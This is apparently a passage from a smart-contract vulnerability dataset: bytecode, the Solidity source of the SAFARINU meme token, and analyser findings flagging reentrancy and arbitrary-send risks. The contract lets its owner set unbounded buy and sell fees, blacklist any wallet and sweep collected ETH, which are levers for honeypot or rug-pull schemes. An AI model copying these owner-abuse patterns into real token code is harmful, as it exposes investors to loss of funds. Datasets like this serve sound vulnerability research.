15260200190815260200160002081905550611154565b6110d3838261166090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561127d57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112cb57600080fd5b61131d82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113b282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006114f582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082821115151561166e57fe5b818303905092915050565b600080828401905083811015151561168d57fe5b809150509291505056fea165627a7a72305820166f28c44e11f9535674e6e068ad451d0e61fb26b89640ba433fbc11489f936d0029
{"success": true, "error": null, "results": {}}
1,219
0x4264d600ee5fe369cb5677d5f37a711d9c2a4642
/** *Submitted for verification at Etherscan.io on 2022-04-04 */ // SPDX-License-Identifier: Unlicensed // https://t.me/safarinu pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SAFARINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SAFARINU"; string private constant _symbol = "SAFARINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e13 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 13; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 13; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000000000 * 10**9; uint256 public _maxWalletSize = 200000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610545578063dd62ed3e14610565578063ea1644d5146105ab578063f2fde38b146105cb57600080fd5b8063a2a957bb146104c0578063a9059cbb146104e0578063bfd7928414610500578063c3c8cd801461053057600080fd5b80638f70ccf7116100d15780638f70ccf71461046a5780638f9a55c01461048a57806395d89b411461020957806398a5c315146104a057600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638203f5fe146104375780638da5cb5b1461044c57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101b65780631694505e1461027957806318160ddd146102b157806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024957600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611aea565b6105eb565b005b34801561021557600080fd5b5060408051808201825260088152675341464152494e5560c01b602082015290516102409190611baf565b60405180910390f35b34801561025557600080fd5b50610269610264366004611c04565b61068a565b6040519015158152602001610240565b34801561028557600080fd5b50601354610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b5069021e19e0c9bab24000005b604051908152602001610240565b3480156102e457600080fd5b506102696102f3366004611c30565b6106a1565b34801561030457600080fd5b506102ca60175481565b34801561031a57600080fd5b5060405160098152602001610240565b34801561033657600080fd5b50601454610299906001600160a01b031681565b34801561035657600080fd5b50610207610365366004611c71565b61070a565b34801561037657600080fd5b50610207610385366004611c9e565b610755565b34801561039657600080fd5b5061020761079d565b3480156103ab57600080fd5b506102ca6103ba366004611c71565b6107ca565b3480156103cb57600080fd5b506102076107ec565b3480156103e057600080fd5b506102076103ef366004611cb9565b610860565b34801561040057600080fd5b506102ca60155481565b34801561041657600080fd5b506102ca610425366004611c71565b60116020526000908152604090205481565b34801561044357600080fd5b506102076108a2565b34801561045857600080fd5b506000546001600160a01b0316610299565b34801561047657600080fd5b50610207610485366004611c9e565b610a5a565b34801561049657600080fd5b506102ca60165481565b3480156104ac57600080fd5b506102076104bb366004611cb9565b610ab9565b3480156104cc57600080fd5b506102076104db366004611cd2565b610ae8565b3480156104ec57600080fd5b506102696104fb366004611c04565b610b26565b34801561050c57600080fd5b5061026961051b366004611c71565b60106020526000908152604090205460ff1681565b34801561053c57600080fd5b50610207610b33565b34801561055157600080fd5b50610207610560366004611d04565b610b69565b34801561057157600080fd5b506102ca610580366004611d88565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b757600080fd5b506102076105c6366004611cb9565b610c0a565b3480156105d757600080fd5b506102076105e6366004611c71565b610c39565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161061590611dc1565b60405180910390fd5b60005b81518110156106865760016010600084848151811061064257610642611df6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067e81611e22565b915050610621565b5050565b6000610697338484610d23565b5060015b92915050565b60006106ae848484610e47565b61070084336106fb85604051806060016040528060288152602001611f3c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611383565b610d23565b5060019392505050565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161061590611dc1565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161061590611dc1565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107bd57600080fd5b476107c7816113bd565b50565b6001600160a01b03811660009081526002602052604081205461069b906113f7565b6000546001600160a01b031633146108165760405162461bcd60e51b815260040161061590611dc1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161061590611dc1565b6611c37937e08000811161089d57600080fd5b601555565b6000546001600160a01b031633146108cc5760405162461bcd60e51b815260040161061590611dc1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611e3d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c69190611e3d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a379190611e3d565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a845760405162461bcd60e51b815260040161061590611dc1565b601454600160a01b900460ff1615610a9b57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ae35760405162461bcd60e51b815260040161061590611dc1565b601755565b6000546001600160a01b03163314610b125760405162461bcd60e51b815260040161061590611dc1565b600893909355600a91909155600955600b55565b6000610697338484610e47565b6012546001600160a01b0316336001600160a01b031614610b5357600080fd5b6000610b5e306107ca565b90506107c78161147b565b6000546001600160a01b03163314610b935760405162461bcd60e51b815260040161061590611dc1565b60005b82811015610c04578160056000868685818110610bb557610bb5611df6565b9050602002016020810190610bca9190611c71565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bfc81611e22565b915050610b96565b50505050565b6000546001600160a01b03163314610c345760405162461bcd60e51b815260040161061590611dc1565b601655565b6000546001600160a01b03163314610c635760405162461bcd60e51b815260040161061590611dc1565b6001600160a01b038116610cc85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610615565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610615565b6001600160a01b038216610de65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610615565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eab5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610615565b6001600160a01b038216610f0d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610615565b60008111610f6f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610615565b6000546001600160a01b03848116911614801590610f9b57506000546001600160a01b03838116911614155b1561127c57601454600160a01b900460ff16611034576000546001600160a01b038481169116146110345760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610615565b6015548111156110865760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610615565b6001600160a01b03831660009081526010602052604090205460ff161580156110c857506001600160a01b03821660009081526010602052604090205460ff16155b6111205760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610615565b6014546001600160a01b038381169116146111a55760165481611142846107ca565b61114c9190611e5a565b106111a55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610615565b60006111b0306107ca565b6017546015549192508210159082106111c95760155491505b8080156111e05750601454600160a81b900460ff16155b80156111fa57506014546001600160a01b03868116911614155b801561120f5750601454600160b01b900460ff165b801561123457506001600160a01b03851660009081526005602052604090205460ff16155b801561125957506001600160a01b03841660009081526005602052604090205460ff16155b15611279576112678261147b565b47801561127757611277476113bd565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112be57506001600160a01b03831660009081526005602052604090205460ff165b806112f057506014546001600160a01b038581169116148015906112f057506014546001600160a01b03848116911614155b156112fd57506000611377565b6014546001600160a01b03858116911614801561132857506013546001600160a01b03848116911614155b1561133a57600854600c55600954600d555b6014546001600160a01b03848116911614801561136557506013546001600160a01b03858116911614155b1561137757600a54600c55600b54600d555b610c04848484846115f5565b600081848411156113a75760405162461bcd60e51b81526004016106159190611baf565b5060006113b48486611e72565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610686573d6000803e3d6000fd5b600060065482111561145e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610615565b6000611468611623565b90506114748382611646565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114c3576114c3611df6565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561151c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115409190611e3d565b8160018151811061155357611553611df6565b6001600160a01b0392831660209182029290920101526013546115799130911684610d23565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b2908590600090869030904290600401611e89565b600060405180830381600087803b1580156115cc57600080fd5b505af11580156115e0573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061160257611602611688565b61160d8484846116b6565b80610c0457610c04600e54600c55600f54600d55565b60008060006116306117ad565b909250905061163f8282611646565b9250505090565b600061147483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f1565b600c541580156116985750600d54155b1561169f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c88761181f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fa908761187c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172990866118be565b6001600160a01b03891660009081526002602052604090205561174b8161191d565b6117558483611967565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179a91815260200190565b60405180910390a3505050505050505050565b600654600090819069021e19e0c9bab24000006117ca8282611646565b8210156117e85750506006549269021e19e0c9bab240000092509050565b90939092509050565b600081836118125760405162461bcd60e51b81526004016106159190611baf565b5060006113b48486611efa565b600080600080600080600080600061183c8a600c54600d5461198b565b925092509250600061184c611623565b9050600080600061185f8e8787876119e0565b919e509c509a509598509396509194505050505091939550919395565b600061147483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611383565b6000806118cb8385611e5a565b9050838110156114745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610615565b6000611927611623565b905060006119358383611a30565b3060009081526002602052604090205490915061195290826118be565b30600090815260026020526040902055505050565b600654611974908361187c565b60065560075461198490826118be565b6007555050565b60008080806119a5606461199f8989611a30565b90611646565b905060006119b8606461199f8a89611a30565b905060006119d0826119ca8b8661187c565b9061187c565b9992985090965090945050505050565b60008080806119ef8886611a30565b905060006119fd8887611a30565b90506000611a0b8888611a30565b90506000611a1d826119ca868661187c565b939b939a50919850919650505050505050565b600082611a3f5750600061069b565b6000611a4b8385611f1c565b905082611a588583611efa565b146114745760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610615565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c757600080fd5b8035611ae581611ac5565b919050565b60006020808385031215611afd57600080fd5b823567ffffffffffffffff80821115611b1557600080fd5b818501915085601f830112611b2957600080fd5b813581811115611b3b57611b3b611aaf565b8060051b604051601f19603f83011681018181108582111715611b6057611b60611aaf565b604052918252848201925083810185019188831115611b7e57600080fd5b938501935b82851015611ba357611b9485611ada565b84529385019392850192611b83565b98975050505050505050565b600060208083528351808285015260005b81811015611bdc57858101830151858201604001528201611bc0565b81811115611bee576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1757600080fd5b8235611c2281611ac5565b946020939093013593505050565b600080600060608486031215611c4557600080fd5b8335611c5081611ac5565b92506020840135611c6081611ac5565b929592945050506040919091013590565b600060208284031215611c8357600080fd5b813561147481611ac5565b80358015158114611ae557600080fd5b600060208284031215611cb057600080fd5b61147482611c8e565b600060208284031215611ccb57600080fd5b5035919050565b60008060008060808587031215611ce857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1957600080fd5b833567ffffffffffffffff80821115611d3157600080fd5b818601915086601f830112611d4557600080fd5b813581811115611d5457600080fd5b8760208260051b8501011115611d6957600080fd5b602092830195509350611d7f9186019050611c8e565b90509250925092565b60008060408385031215611d9b57600080fd5b8235611da681611ac5565b91506020830135611db681611ac5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3657611e36611e0c565b5060010190565b600060208284031215611e4f57600080fd5b815161147481611ac5565b60008219821115611e6d57611e6d611e0c565b500190565b600082821015611e8457611e84611e0c565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed95784516001600160a01b031683529383019391830191600101611eb4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3657611f36611e0c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a44b734955edefbf23f24315d709f843013a9ffd0e2a85036ba6b692d541f1f64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,220
0xc3860d0A269161CEF0aB683FcD62385f4472EC8b
/* ...................................................................................................................................................... ...................................................................................................................................................... ...................................................................................................................................................... .................................................................',;;;'.';;;,'........................................................................ .............................................................':ldxOO0k:.cxkkkkdoc;'................................................................... ...........................................................;ok00KKKKKO:.ckkkkO000Odc,................................................................. .........................................................;oO00KKKKKKKk:.ckkkkkO00K00kc'............................................................... ........................................................ck0KKKK0K00kdc,',codxkkO00KKK0d;.............................................................. .......................................................cOKKKKK0Odl:,',;,''',,:ldk0KKKK0x;............................................................. ......................................................;k00KK00x;..';;,'',;,''..'lOKKK000d'............................................................ ......................................................l00K0OOko'.'',,;,',;,'',,.:OKKKKKKk:............................................................ .....................................................'o000Okkko'',,;,'''',;:,,,.:OKKKKKKO:............................................................ ......................................................lO0Okkkko'.,,'':;,;,,;';;.:OKKKKKKk;............................................................ ......................................................;xOkkxoc,'';,',:;';,,;'',',coxO0K0o'............................................................ 